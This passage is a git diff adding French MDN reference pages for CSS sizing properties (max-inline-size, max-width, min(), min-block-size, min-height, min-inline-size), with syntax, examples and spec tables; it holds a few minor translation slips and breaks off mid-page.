+<p>La propriété <a href="/fr/docs/Web/CSS">CSS</a> <strong><code>max-inline-size</code></strong> définit la taille maximale horizontale ou verticale d'un élément en ligne (<em>inline</em>) selon le mode d'écriture utilisé. Elle correspond à la propriété {{cssxref("max-width")}} ou {{cssxref("max-height")}} selon la valeur utilisée pour {{cssxref("writing-mode")}}. Si le mode d'écriture est orienté verticalement, <code>max-inline-size</code> fait référence à la hauteur maximale de l'élément, sinon elle fait référence à la largeur maximale de l'élément. La propriété {{cssxref("max-block-size")}} peut être utilisée pour les blocs.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/max-inline-size.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+max-inline-size: 300px;
+max-inline-size: 25em;
+
+/* Valeurs proportionnelles */
+/* Type &lt;percentage&gt; */
+max-inline-size: 75%;
+
+/* Valeurs avec un mot-clé */
+max-inline-size: none;
+max-inline-size: max-content;
+max-inline-size: min-content;
+max-inline-size: fit-content;
+max-inline-size: fill-available;
+
+/* Valeurs globales */
+max-inline-size: inherit;
+max-inline-size: initial;
+max-inline-size: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>max-inline-size</code> peut prendre les mêmes valeurs que les propriétés {{cssxref("max-width")}} ou {{cssxref("max-height")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  block-size: 100%;
+  max-inline-size: 200px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-max-inline-size", "max-inline-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.max-inline-size")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes : {{cssxref("max-width")}} et {{cssxref("max-height")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/fr/web/css/max-width/index.html b/files/fr/web/css/max-width/index.html
new file mode 100644
index 0000000000..e50a03260b
--- /dev/null
+++ b/files/fr/web/css/max-width/index.html
@@ -0,0 +1,150 @@
+---
+title: max-width
+slug: Web/CSS/max-width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/max-width
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>max-width</code></strong> est utilisée pour définir la largeur maximale d'un élément donné. Elle empêche la valeur de la propriété {{cssxref("width")}} de devenir supérieure à la valeur spécifiée par <code>max-width</code> (autrement dit, <code>max-width</code> est une borne supérieur pour <code>width</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/max-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur de <code>max-width</code> surcharge la valeur de {{cssxref("width")}} mais elle est surchargée par {{cssxref("min-width")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur de longueur */
+/* Type &lt;length&gt;      */
+max-width: 3.5em;
+
+/* Valeurs relatives */
+/* Type &lt;percentage&gt; */
+max-width: 10%;
+
+/* Valeurs avec un mot-clé */
+max-width: none;
+max-width: max-content;
+max-width: min-content;
+max-width: fit-content;
+max-width: fill-available;
+
+/* Valeurs globales */
+max-width: inherit;
+max-width: initial;
+max-width: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>La largeur minimale fixée. Voir {{cssxref("&lt;length&gt;")}} pour les unités qu'on peut utiliser. Une largeur négative rendra la déclaration invalide.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>La largeur minimale fixée, exprimée comme un fraction de la largeur du bloc englobant. Voir la page {{cssxref("&lt;percentage&gt;")}} sur les valeurs possibles avec ce type. Les valeurs négatives rendront la déclaration invalide.</dd>
+ <dt><code>fill-available</code>{{experimental_inline}}</dt>
+ <dd>La largeur du bloc englobant moins la marge horizontale, la bordure et le remplissage (<em>padding</em>). Certains navigateurs implémentent cette valeur avec un ancien nom : <code>available</code>.</dd>
+ <dt><code>fit-content</code> {{experimental_inline}}</dt>
+ <dd>Un synonyme pour <code>max-content</code>.</dd>
+ <dt><code>max-content</code> {{experimental_inline}}</dt>
+ <dd>La largeur intrinsèque préférée.</dd>
+ <dt><code>min-content</code> {{experimental_inline}}</dt>
+ <dd>La largeur intrinsèque minimale.</dd>
+ <dt><code>none</code></dt>
+ <dd>Il n'y a pas de maximum pour la largeur. C'est la valeur par défaut.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple_avec_un_tableau">Exemple simple avec un tableau</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt; Lorem ipsum tralala sit amet, consectetur adipisicing
+  &lt;p&gt;
+     Ut enim ad minim veniam, quis nostrud exercitation
+     ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  &lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">div {
+  width: 250px;
+  border: solid 1px red;
+}
+
+p {
+  max-width: 60%;
+  border: solid 1px blue;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple_avec_un_tableau","100%","100%")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Veiller à s'assurer que les éléments ciblés avec une règle utilisant <code>max-width</code> ne sont pas tronqués ou ne masquent pas d'autre contenu sur la page lorsqu'on zoome pour augmenter la taille du texte.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener"><em>Understanding Success Criterion 1.4.4, W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'max-width')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Ajout des mots-clés <code>max-content</code>, <code>min-content</code>, <code>fit-content</code> et <code>fill-available</code>. Les deux brouillons de spécifications CSS3 Box et CSS3 Writing Modes définissaient ces mots-clés mais ont été remplacées par cette spécification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'max-width')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>max-width</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#min-max-widths', 'max-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.max-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("width")}}</li>
+ <li>{{cssxref("min-width")}}</li>
+ <li>{{cssxref("min-height")}}</li>
+ <li>{{cssxref("max-height")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li><a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte" title="en/CSS/box_model">Le modèle de boîtes</a></li>
+</ul>
diff --git a/files/fr/web/css/min()/index.html b/files/fr/web/css/min()/index.html
new file mode 100644
index 0000000000..3c948df62a
--- /dev/null
+++ b/files/fr/web/css/min()/index.html
@@ -0,0 +1,140 @@
+---
+title: min()
+slug: Web/CSS/min()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/min()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <code><strong>min()</strong></code> permet d'obtenir la plus petite valeurs parmi une liste d'expressions, séparées par des virgules afin d'utiliser ce minimum comme valeur d'une propriété CSS. La fonction <code>min()</code> peut être utilisée à tout endroit où une valeur de type {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;frequency&gt;")}}, {{cssxref("&lt;angle&gt;")}}, {{cssxref("&lt;time&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, {{cssxref("&lt;number&gt;")}} ou {{cssxref("&lt;integer&gt;")}} est autorisée.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* property: min(expression<code class="css plain"> [, expression]</code>) */
+width: min(10vw, 4em, 80px);
+</pre>
+
+<p>Dans l'exemple précédent, la largeur mesurera au plus 80 pixels de large, sera moins large si la zone d'affichage (<em>viewport</em>) est moins large que 800 pixels ou si un <code>em</code> vaut moins que 20 pixels de large. Autrement dit, la valeur fournie <code>min()</code> est calculée comme un seuil et généralement, on aura un seuil maximal dans une expression <code>min()</code> (ce qui peut paraître contradictoire à juste titre).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La fonction <code>min()</code> prend comme arguments une ou plusieurs expressions, séparées par des virgules. Elle renvoie comme valeur le plus petit résultat des évaluations des expressions passées en arguments.</p>
+
+<p>Les expressions passées à cette fonction peuvent utiliser des fonctions mathématiques (cf. {{CSSxRef("calc", "calc()")}}), des valeurs littérales ou d'autres expressions (ex. avec {{CSSxRef("attr", "attr()")}}). Il est nécessaire que ces expressions fournissent une valeur d'un type valide (ex. {{cssxref("&lt;length&gt;")}}).</p>
+
+<p>Il est tout à fait possible de combiner des valeurs avec différentes unités dans les expressions passées en arguments. On peut également utiliser des parenthèses à l'intérieur des expressions afin de s'assurer de la précédence des opérateurs.</p>
+
+<h3 id="Notes">Notes</h3>
+
+<ul>
+ <li>Les expressions mathématiques qui utilisent des pourcentages pour les hauteurs et largeurs de colonnes de tableaux, de groupes de colonnes de tableaux, pour les lignes de tableaux, pour les groupes de lignes de tableaux et pour les cellules de tableau seront considérées comme <code>auto</code> si le tableau suit une disposition automatique ou fixée.</li>
+ <li>Il est possible d'imbriquer des fonctions <code>min()</code> et <code>min()</code> dans les expressions et d'utiliser les opérateurs mathématiques d'addition, soustraction, multiplication, division sans nécessairement recourir à <code>calc()</code>.</li>
+</ul>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Garantir_une_taille_maximale_pour_des_images">Garantir une taille maximale pour des images</h3>
+
+<p><code>min()</code> permet de simplifier la définition d'une taille <strong>maximale</strong>, par exemple la largeur d'une image. Dans cet exemple, la règle CSS permet d'obtenir un logo qui s'étire sur la moitié de la fenêtre pour les fenêtres les moins larges, sans dépasser 300 pixels et sans avoir à utiliser des requêtes média.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.logo {
+  width: min(50vw, 300px);
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;img src="https://developer.mozilla.org/static/img/web-docs-sprite.svg" alt="MDN Web Docs" class="logo"&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Garantir_une_taille_minimale_pour_des_images', '100%', '110')}}</p>
+
+<h3 id="Définir_une_taille_maximale_pour_un_champ_de_saisie_et_son_libellé">Définir une taille maximale pour un champ de saisie et son libellé</h3>
+
+<p>La fonction <code>min()</code> peut également être utilisée pour définir la taille maximale d'un contrôle dans un formulaire et permettre de réduire le champ et le libellé associé lorsque la largeur de l'écran diminue.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">input, label {
+  padding: 2px;
+  box-sizing: border-box;
+  display: inline-block;
+  width: min(40%, 400px);
+  background-color: pink;
+}
+
+form {
+  margin: 4px;
+  border: 1px solid black;
+  padding: 4px;
+}
+</pre>
+
+<p>On a ici la règle qui s'applique au formulaire et qui occupe 100% de la largeur de son parent. On déclare avec <code>min()</code> que la largeur doit mesurer au plus 400 pixels ou 40% de la largeur du formulaire. Autrement dit, la taille la plus grande que pourra atteindre le champ et le libellé sera 400 pixels. La largeur la plus étroite sera nécessairement 40% (ce qui peut être tout petit sur l'affichage d'une montre par exemple).</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;label&gt;Saisir quelque chose :&lt;/label&gt;
+  &lt;input type="text"&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Définir_une_taille_maximale_pour_un_champ_de_saisie_et_son_libellé", '100%', '110')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Lorsqu'on utilise <code>min()</code> afin de contrôler la taille du texte, il faut s'assurer que le texte puisse toujours être suffisamment grand pour être lisible. Pour cela, on peut imbriquer l'appel à <code>min()</code> dans <code><a href="/fr/docs/Web/CSS/max">max()</a></code> utilisant <a href="/fr/docs/Web/CSS/length#Unités_de_longueur_relatives">une unité de longueur relative</a> en deuxième argument afin de garantir une lisibilité minimale :</p>
+
+<pre class="brush: css notranslate">small {
+  font-size: max(min(0.5vw, 0.5em), 1rem);
+}</pre>
+
+<p>On aura ainsi une taille minimale de <code>1rem</code> et la taille du texte qui se met à l'échelle si on zoome sur la page.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles 1.4 du WCAG</a> (MDN)</li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html">Comprendre le critère de réussite 1.4.4 du WCAG 2.0 (W3C)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#calc-notation', 'min()')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.min")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("calc", "calc()")}}</li>
+ <li>{{CSSxRef("clamp", "clamp()")}}</li>
+ <li>{{CSSxRef("max", "max()")}}</li>
+ <li><a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/Values_and_units">Valeurs et unités en CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/min-block-size/index.html b/files/fr/web/css/min-block-size/index.html
new file mode 100644
index 0000000000..c53032ddfa
--- /dev/null
+++ b/files/fr/web/css/min-block-size/index.html
@@ -0,0 +1,110 @@
+---
+title: min-block-size
+slug: Web/CSS/min-block-size
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/min-block-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>min-block-size</code></strong> définit la taille minimale horizontale ou verticale d'un élément de bloc (<em>block</em>) selon le mode d'écriture utilisé. Cette propriété « logique » correspond à la propriété {{cssxref("min-width")}} ou {{cssxref("min-height")}} selon la valeur utilisée pour {{cssxref("writing-mode")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/min-block-size.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si le mode d'écriture est orienté verticalement, <code>min-block-size</code> fait référence à la hauteur minimale de l'élément. Sinon, elle fait référence à la largeur minimale de l'élément.  to the minimal height of the element, otherwise it relates to the minimal width of the element. La propriété {{cssxref("min-inline-size")}} peut être utilisée pour les éléments en ligne.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+min-block-size: 100px;
+min-block-size: 5em;
+
+/* Valeurs proportionnelles à la */
+/* largeur du bloc englobant     */
+/* Type &lt;percentage&gt;             */
+min-block-size: 10%;
+
+/* Valeurs avec un mot-clé */
+min-block-size: max-content;
+min-block-size: min-content;
+min-block-size: fit-content;
+min-block-size: fill-available;
+
+/* Valeurs globales */
+min-block-size: inherit;
+min-block-size: initial;
+min-block-size: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>min-block-size</code> peut prendre les mêmes valeurs que les propriétés {{cssxref("min-width")}} ou {{cssxref("min-height")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  block-size: 5%;
+  min-block-size: 200px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-min-block-size", "min-block-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.min-block-size")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes
+  <ul>
+   <li>{{cssxref("min-width")}}</li>
+   <li>{{cssxref("min-height")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/fr/web/css/min-height/index.html b/files/fr/web/css/min-height/index.html
new file mode 100644
index 0000000000..cafd659f5d
--- /dev/null
+++ b/files/fr/web/css/min-height/index.html
@@ -0,0 +1,142 @@
+---
+title: min-height
+slug: Web/CSS/min-height
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/min-height
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété<strong> <code>min-height</code></strong> est utilisée afin de définir la hauteur minimale d'un élément. Elle empêche ainsi que la valeur de la propriété {{cssxref("height")}} devienne inférieure à <code>min-height</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/min-height.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur de la propriété <code>min-height</code> surcharge celles de {{cssxref("max-height")}} et {{cssxref("height")}} lorsque <code>min-height</code> est supérieure.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur de longueur */
+/* Type &lt;length&gt;      */
+min-height: 3.5em;
+
+/* Valeur relative au bloc */
+/* Type &lt;percentage&gt;       */
+min-height: 10%;
+
+/* Valeurs avec un mot-clé */
+min-height: max-content;
+min-height: min-content;
+min-height: fit-content;
+min-height: fill-available;
+
+/* Valeurs globales */
+min-height: inherit;
+min-height: initial;
+min-height: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>La hauteur minimale exprimée de façon absolue. Voir la page {{cssxref("&lt;length&gt;")}} pour les différentes unités. Les valeurs négatives sont interdites, si elles sont utilisées, la déclaration sera considérée comme invalide.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>La hauteur minimale exprimée de façon relative à la hauteur du bloc englobant grâce à une valeur de type {{cssxref("&lt;percentage&gt;")}}. Les valeurs négatives sont interdites, si elles sont utilisées, la déclaration sera considérée comme invalide.</dd>
+ <dt><code>max-content</code> {{experimental_inline}}</dt>
+ <dd>La hauteur intrinsèque préférée.</dd>
+ <dt><code>min-content</code> {{experimental_inline}}</dt>
+ <dd>La hauteur intrinsèque minimale préférée.</dd>
+ <dt><code>fill-available</code>{{experimental_inline}}</dt>
+ <dd>La hauteur du bloc englobant moins celle de la marge verticale, de la bordure et du remplissage (<em>padding</em>). Certains navigateurs implémentent cette valeur avec un mot-clé d'une ancienne version : <code>available</code>.</dd>
+ <dt><code>fit-content</code> {{experimental_inline}}</dt>
+ <dd>Selon la spécification CSS3 sur les boîtes (CSS3 Box), cette valeur est synonyme de <code>min-content.</code> La spécification CSS3 sur le dimensionnement (CSS3 Sizing) définit un algorithme plus complexe mais qui n'est implémenté par aucun navigateur, y compris de façon expérimentale.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt; Lorem ipsum tralala
+&lt;p class="exemple"&gt;toto&lt;/p&gt;
+ Duis aute irure dolor in reprehender
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  height: 150px;
+  border: solid 1px red;
+}
+
+.exemple {
+  min-height: 70%;
+  border: solid 1px blue;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'min-height')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Ajout des mots-clés <code>max-content</code>, <code>min-content</code>, <code>fit-content</code> et <code>fill-available</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#min-auto', 'min-height')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>
+    <p>Ajout du mot-clé <code>auto</code> et définition de ce mot-clé comme valeur initiale.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'min-height')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>min-height</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#min-max-heights', 'min-height')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.min-height")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("width")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("max-height")}}</li>
+ <li><a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">Le modèle de boîtes</a></li>
+ <li>{{cssxref("min-width")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("max-height")}}</li>
+</ul>
diff --git a/files/fr/web/css/min-inline-size/index.html b/files/fr/web/css/min-inline-size/index.html
new file mode 100644
index 0000000000..71ff919c9a
--- /dev/null
+++ b/files/fr/web/css/min-inline-size/index.html
@@ -0,0 +1,111 @@
+---
+title: min-inline-size
+slug: Web/CSS/min-inline-size
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/min-inline-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>min-inline-size</code></strong> définit la taille minimale horizontale ou verticale d'un élément en ligne (<em>inline</em>) selon le mode d'écriture utilisé. Cette propriété « logique » correspond à la propriété {{cssxref("min-width")}} ou {{cssxref("min-height")}} selon la valeur utilisée pour {{cssxref("writing-mode")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/min-inline-size.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si le mode d'écriture est orienté verticalement, <code>min-inline-size</code> fait référence à la hauteur minimale de l'élément. Sinon, elle fait référence à la largeur minimale de l'élément.  to the minimal height of the element, otherwise it relates to the minimal width of the element. La propriété {{cssxref("min-block-size")}} peut être utilisée pour les blocs.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+min-inline-size: 100px;
+min-inline-size: 5em;
+
+/* Valeurs proportionnelles à la */
+/* largeur du bloc englobant     */
+/* Type &lt;percentage&gt;             */
+min-inline-size: 10%;
+
+/* Valeurs avec un mot-clé */
+min-inline-size: max-content;
+min-inline-size: min-content;
+min-inline-size: fit-content;
+min-inline-size: fill-available;
+
+/* Valeurs globales */
+min-inline-size: inherit;
+min-inline-size: initial;
+min-inline-size: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>min-inline-size</code> peut prendre les mêmes valeurs que les propriétés {{cssxref("min-width")}} ou {{cssxref("min-height")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  block-size: 5%;
+  min-inline-size: 200px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
